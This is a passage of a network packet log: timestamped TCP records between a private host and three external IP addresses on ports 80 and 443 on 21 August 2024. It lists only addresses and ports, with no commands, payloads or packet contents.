Aug 21, 2024 08:32:17.081398964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081409931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081409931 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081415892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081425905 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081427097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081433058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081444025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081444025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081461906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081475973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081481934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081487894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081517935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081551075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081557989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081568956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081574917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081579924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081590891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081604004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081626892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081646919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081696987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081702948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081717014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081722021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081732988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081737041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081748962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081779957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081789017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081809044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081815004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081825018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081830025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081835032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081840038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.081857920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.081868887 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.082175016 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.082190037 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.082272053 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.082272053 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.082283974 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.082355022 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.083481073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083642006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083658934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083663940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083678961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083684921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083697081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083703041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083729029 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083729029 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083750010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083760023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083766937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083771944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083775997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083785057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083817959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083825111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083830118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083849907 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083851099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083882093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.083977938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083983898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083995104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.083998919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084005117 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084009886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084022045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084028006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084038019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084053993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084053993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084098101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084098101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084125996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084131956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084136963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084141970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084152937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084166050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084187984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084240913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084244967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084254980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084259987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084264994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084275007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084280968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084285975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084304094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084304094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084340096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084366083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084372044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084428072 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084496021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084513903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084523916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084528923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084533930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084543943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084548950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084553957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084558010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084569931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084574938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084575891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084589958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084594965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084594965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.084608078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.084625959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.108752966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.108762026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.108772993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.108900070 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109361887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109371901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109376907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109381914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109390974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109421015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109441996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109493971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109499931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109515905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109520912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109525919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109543085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109560013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109761953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109812975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109864950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109879971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109883070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109891891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109896898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109906912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109911919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109916925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109927893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109927893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109935999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109939098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109972000 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.109988928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.109994888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110003948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110023022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110027075 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.110028982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110044956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110044956 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.110052109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110058069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110064030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.110070944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.110104084 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.113851070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113861084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113866091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113874912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113879919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113889933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113897085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113909006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113913059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113923073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113926888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113929987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.113939047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113945007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113944054 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.113951921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.113980055 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.113993883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.136802912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136809111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136820078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136826038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136831045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136846066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136852980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136882067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.136918068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.136923075 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.136997938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.144682884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144689083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144701958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144717932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144747019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.144777060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.144783020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144828081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.144843102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144850016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144854069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144885063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.144917011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144922018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144936085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.144969940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145085096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145097017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145102978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145112991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145119905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145124912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145137072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145137072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145169020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145184040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145189047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145198107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145200014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145207882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145216942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145227909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145231009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145232916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145257950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145272970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145287037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145298004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145303965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145308971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145313978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145318985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.145322084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145349026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.145369053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.155014038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155023098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155034065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155081034 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155091047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155101061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155112028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155117989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155122995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155143023 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155152082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155167103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155173063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155179024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155180931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155210018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155237913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155244112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155250072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155252934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.155292034 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.155324936 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.159729958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159739971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159751892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159801960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.159805059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159821987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159826994 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.159833908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159845114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159849882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.159851074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.159873009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.159902096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.159979105 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.159992933 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.159997940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160002947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160010099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160017967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160023928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160036087 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160046101 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160058975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160073996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.160079956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.160108089 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160108089 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160121918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.160136938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.160324097 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160341024 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160383940 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160391092 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160433054 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160448074 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160717964 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160733938 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160774946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160782099 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.160805941 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160840988 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.160990000 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161007881 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161046028 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161051035 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161057949 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161091089 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161287069 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161299944 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161375999 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161396980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161463022 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161542892 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161559105 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161596060 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161601067 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.161628008 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161721945 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.161741972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161786079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.161818027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161822081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161838055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161843061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161861897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161866903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161879063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.161890984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.161906004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.161967039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.162008047 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.162024021 CEST	443	49732	162.159.130.233	192.168.2.6
